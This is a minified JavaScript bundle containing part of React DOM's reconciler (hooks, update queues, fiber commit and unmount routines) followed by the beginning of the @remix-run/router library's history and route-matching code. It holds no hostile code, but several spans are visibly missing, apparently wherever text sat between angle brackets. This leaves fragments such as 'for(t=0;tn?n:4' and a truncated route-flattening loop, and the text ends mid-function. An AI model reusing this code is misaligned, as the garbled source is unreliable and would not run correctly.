i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Tc(e,t,n,r){var i=e.updateQueue;qr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ge({},f,m);break e;case 2:qr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Xi|=o,e.lanes=o,e.memoizedState=f}}function rg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Df.transition;Df.transition={};try{e(!1),t()}finally{Ae=n,Df.transition=r}}function v5(){return Sn().memoizedState}function KC(e,t,n){var r=li(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},g5(e))y5(t,n);else if(n=Jw(e,t,n,r),n!==null){var i=It();Bn(n,e,r,i),b5(n,t,r)}}function qC(e,t,n){var r=li(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(g5(e))y5(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Wn(l,o)){var c=t.interleaved;c===null?(i.next=i,Vh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Jw(e,t,i,r),n!==null&&(i=It(),Bn(n,e,r,i),b5(n,t,r))}}function g5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function y5(e,t){Js=Lc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function b5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}var Ic={readContext:Nn,useCallback:Et,useContext:Et,useEffect:Et,useImperativeHandle:Et,useInsertionEffect:Et,useLayoutEffect:Et,useMemo:Et,useReducer:Et,useRef:Et,useState:Et,useDebugValue:Et,useDeferredValue:Et,useTransition:Et,useMutableSource:Et,useSyncExternalStore:Et,useId:Et,unstable_isNewReconciler:!1},YC={readContext:Nn,useCallback:function(e,t){return er().memoizedState=[e,t===void 0?null:t],e},useContext:Nn,useEffect:ag,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,sc(4194308,4,f5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return sc(4194308,4,e,t)},useInsertionEffect:function(e,t){return sc(4,2,e,t)},useMemo:function(e,t){var n=er();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=er();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=KC.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=er();return e={current:e},t.memoizedState=e},useState:ig,useDebugValue:Jh,useDeferredValue:function(e){return er().memoizedState=e},useTransition:function(){var e=ig(!1),t=e[0];return e=HC.bind(null,e[1]),er().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=er();if(Ve){if(n===void 0)throw Error(Q(407));n=n()}else{if(n=t(),gt===null)throw Error(Q(349));Gi&30||i5(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,ag(s5.bind(null,r,a,e),[e]),r.flags|=2048,yo(9,a5.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=er(),t=gt.identifierPrefix;if(Ve){var n=gr,r=vr;n=(r&~(1<<32-$n(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=vo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[tr]=t,e[mo]=r,A5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Ip(n,r),n){case"dialog":Re("cancel",e),Re("close",e),i=r;break;case"iframe":case"object":case"embed":Re("load",e),i=r;break;case"video":case"audio":for(i=0;iYa&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304)}else{if(!r)if(e=Mc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Cs(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Ve)return At(t),null}else 2*nt()-a.renderingStartTime>Ya&&n!==1073741824&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=nt(),t.sibling=null,n=Ke.current,De(Ke,r?n&1|2:n&1),t):(At(t),null);case 22:case 23:return ax(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?en&1073741824&&(At(t),t.subtreeFlags&6&&(t.flags|=8192)):At(t),null;case 24:return null;case 25:return null}throw Error(Q(156,t.tag))}function nP(e,t){switch($h(t),t.tag){case 1:return qt(t.type)&&Cc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ka(),Be(Kt),Be(Ot),Yh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return qh(t),null;case 13:if(Be(Ke),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Q(340));Va()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Be(Ke),null;case 4:return Ka(),null;case 10:return Uh(t.type._context),null;case 22:case 23:return ax(),null;case 24:return null;default:return null}}var Pl=!1,_t=!1,rP=typeof WeakSet=="function"?WeakSet:Set,le=null;function Pa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Je(e,t,r)}else n.current=null}function cm(e,t,n){try{n()}catch(r){Je(e,t,r)}}var xg=!1;function iP(e,t){if(Kp=kc,e=Dw(),Dh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(qp={focusedElem:e,selectionRange:n},kc=!1,le=t;le!==null;)if(t=le,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,le=e;else for(;le!==null;){t=le;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Tn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Q(163))}}catch(j){Je(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,le=e;break}le=t.return}return x=xg,xg=!1,x}function eo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&cm(t,n,a)}i=i.next}while(i!==r)}}function qu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function um(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function T5(e){var t=e.alternate;t!==null&&(e.alternate=null,T5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[tr],delete t[mo],delete t[Xp],delete t[BC],delete t[FC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function M5(e){return e.tag===5||e.tag===3||e.tag===4}function vg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||M5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function dm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=zc));else if(r!==4&&(e=e.child,e!==null))for(dm(e,t,n),e=e.sibling;e!==null;)dm(e,t,n),e=e.sibling}function fm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(fm(e,t,n),e=e.sibling;e!==null;)fm(e,t,n),e=e.sibling}var kt=null,Mn=!1;function Hr(e,t,n){for(n=n.child;n!==null;)L5(e,t,n),n=n.sibling}function L5(e,t,n){if(ar&&typeof ar.onCommitFiberUnmount=="function")try{ar.onCommitFiberUnmount($u,n)}catch{}switch(n.tag){case 5:_t||Pa(n,t);case 6:var r=kt,i=Mn;kt=null,Hr(e,t,n),kt=r,Mn=i,kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):kt.removeChild(n.stateNode));break;case 18:kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?Mf(e.parentNode,n):e.nodeType===1&&Mf(e,n),lo(e)):Mf(kt,n.stateNode));break;case 4:r=kt,i=Mn,kt=n.stateNode.containerInfo,Mn=!0,Hr(e,t,n),kt=r,Mn=i;break;case 0:case 11:case 14:case 15:if(!_t&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&cm(n,t,o),i=i.next}while(i!==r)}Hr(e,t,n);break;case 1:if(!_t&&(Pa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Je(n,t,l)}Hr(e,t,n);break;case 21:Hr(e,t,n);break;case 22:n.mode&1?(_t=(r=_t)||n.memoizedState!==null,Hr(e,t,n),_t=r):Hr(e,t,n);break;default:Hr(e,t,n)}}function gg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new rP),t.forEach(function(r){var i=pP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function An(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=nt()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*sP(r/1960))-r,10e?16:e,Jr===null)var r=!1;else{if(e=Jr,Jr=null,$c=0,Ne&6)throw Error(Q(331));var i=Ne;for(Ne|=4,le=e.current;le!==null;){var a=le,o=a.child;if(le.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cnt()-rx?Fi(e,0):nx|=n),Yt(e,t)}function U5(e,t){t===0&&(e.mode&1?(t=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):t=1);var n=It();e=Sr(e,t),e!==null&&(Uo(e,t,n),Yt(e,n))}function fP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),U5(e,n)}function pP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Q(314))}r!==null&&r.delete(t),U5(e,n)}var V5;V5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Kt.current)Wt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Wt=!1,eP(e,t,n);Wt=!!(e.flags&131072)}else Wt=!1,Ve&&t.flags&1048576&&Yw(t,Ac,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;oc(e,t),e=t.pendingProps;var i=Ua(t,Ot.current);Da(t,n),i=Xh(null,t,r,e,i,n);var a=Zh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,qt(r)?(a=!0,Pc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Hh(t),i.updater=Ku,t.stateNode=i,i._reactInternals=t,nm(t,r,e,n),t=am(null,t,r,!0,a,n)):(t.tag=0,Ve&&a&&Rh(t),Mt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(oc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=hP(r),e=Tn(r,e),i){case 0:t=im(null,t,r,e,n);break e;case 1:t=pg(null,t,r,e,n);break e;case 11:t=dg(null,t,r,e,n);break e;case 14:t=fg(null,t,r,Tn(r.type,e),n);break e}throw Error(Q(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),im(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),pg(e,t,r,i,n);case 3:e:{if(C5(t),e===null)throw Error(Q(387));r=t.pendingProps,a=t.memoizedState,i=a.element,e5(e,t),Tc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=qa(Error(Q(423)),t),t=mg(e,t,r,n,i);break e}else if(r!==i){i=qa(Error(Q(424)),t),t=mg(e,t,r,n,i);break e}else for(nn=ai(t.stateNode.containerInfo.firstChild),an=t,Ve=!0,Ln=null,n=Qw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Va(),r===i){t=zr(e,t,n);break e}Mt(e,t,r,n)}t=t.child}return t;case 5:return t5(t),e===null&&Jp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Yp(r,i)?o=null:a!==null&&Yp(r,a)&&(t.flags|=32),z5(e,t),Mt(e,t,o,n),t.child;case 6:return e===null&&Jp(t),null;case 13:return P5(e,t,n);case 4:return Kh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ha(t,null,r,n):Mt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),dg(e,t,r,i,n);case 7:return Mt(e,t,t.pendingProps,n),t.child;case 8:return Mt(e,t,t.pendingProps.children,n),t.child;case 12:return Mt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,De(_c,r._currentValue),r._currentValue=o,a!==null)if(Wn(a.value,o)){if(a.children===i.children&&!Kt.current){t=zr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=wr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),em(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Q(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),em(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Mt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Da(t,n),i=Nn(i),r=r(i),t.flags|=1,Mt(e,t,r,n),t.child;case 14:return r=t.type,i=Tn(r,t.pendingProps),i=Tn(r.type,i),fg(e,t,r,i,n);case 15:return N5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),oc(e,t),t.tag=1,qt(r)?(e=!0,Pc(t)):e=!1,Da(t,n),w5(t,r,i),nm(t,r,i,n),am(null,t,r,!0,e,n);case 19:return E5(e,t,n);case 22:return S5(e,t,n)}throw Error(Q(156,t.tag))};function H5(e,t){return gw(e,t)}function mP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function wn(e,t,n,r){return new mP(e,t,n,r)}function ox(e){return e=e.prototype,!(!e||!e.isReactComponent)}function hP(e){if(typeof e=="function")return ox(e)?1:0;if(e!=null){if(e=e.$$typeof,e===zh)return 11;if(e===Ch)return 14}return 2}function ci(e,t){var n=e.alternate;return n===null?(n=wn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function uc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")ox(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ya:return Wi(n.children,i,a,t);case Sh:o=8,i|=8;break;case zp:return e=wn(12,n,t,i|2),e.elementType=zp,e.lanes=a,e;case Cp:return e=wn(13,n,t,i),e.elementType=Cp,e.lanes=a,e;case Pp:return e=wn(19,n,t,i),e.elementType=Pp,e.lanes=a,e;case tw:return Gu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case J2:o=10;break e;case ew:o=9;break e;case zh:o=11;break e;case Ch:o=14;break e;case Kr:o=16,r=null;break e}throw Error(Q(130,e==null?e:typeof e,""))}return t=wn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Wi(e,t,n,r){return e=wn(7,e,r,t),e.lanes=n,e}function Gu(e,t,n,r){return e=wn(22,e,r,t),e.elementType=tw,e.lanes=n,e.stateNode={isHidden:!1},e}function Wf(e,t,n){return e=wn(6,e,null,t),e.lanes=n,e}function Uf(e,t,n){return t=wn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function xP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=kf(0),this.expirationTimes=kf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=kf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function lx(e,t,n,r,i,a,o,l,c){return e=new xP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=wn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Hh(a),e}function vP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(G5)}catch(e){console.error(e)}}G5(),G2.exports=un;var fx=G2.exports,zg=fx;Np.createRoot=zg.createRoot,Np.hydrateRoot=zg.hydrateRoot;/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function wo(){return wo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function px(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function kP(){return Math.random().toString(36).substr(2,8)}function Pg(e,t){return{usr:e.state,key:e.key,idx:t}}function vm(e,t,n,r){return n===void 0&&(n=null),wo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ss(t):t,{state:n,key:t&&t.key||r||kP()})}function Wc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ss(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function NP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=ei.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(wo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ei.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=ei.Push;let b=vm(g.location,y,v);u=d()+1;let w=Pg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ei.Replace;let b=vm(g.location,y,v);u=d();let w=Pg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Wc(y);return b=b.replace(/ $/,"%20"),Ye(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Cg,f),c=y,()=>{i.removeEventListener(Cg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var Eg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Eg||(Eg={}));function SP(e,t,n){return n===void 0&&(n="/"),zP(e,t,n)}function zP(e,t,n,r){let i=typeof t=="string"?ss(t):t,a=Ga(i.pathname||"/",n);if(a==null)return null;let o=X5(e);CP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(Ye(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=ui([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(Ye(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),X5(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:MP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Z5(a.path))i(a,o,c)}),t}function Z5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Z5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function CP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:LP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const PP=/^:[\w-]+$/,EP=3,AP=2,_P=1,OP=10,TP=-2,Ag=e=>e==="*";function MP(e,t){let n=e.split("/"),r=n.length;return n.some(Ag)&&(r+=TP),t&&(r+=AP),n.filter(i=>!Ag(i)).reduce((i,a)=>i+(PP.test(a)?EP:a===""?_P:OP),r)}function LP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function IP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function DP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),px(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function RP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return px(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ga(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const $P=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,BP=e=>$P.test(e);function FP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ss(e):e,a;if(n)if(BP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),px(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=_g(n.substring(1),"/"):a=_g(n,t)}else a=t;return{pathname:a,search:VP(r),hash:HP(i)}}function _g(e,t){let n=t.replace(/\/+$/,"").split("/");return 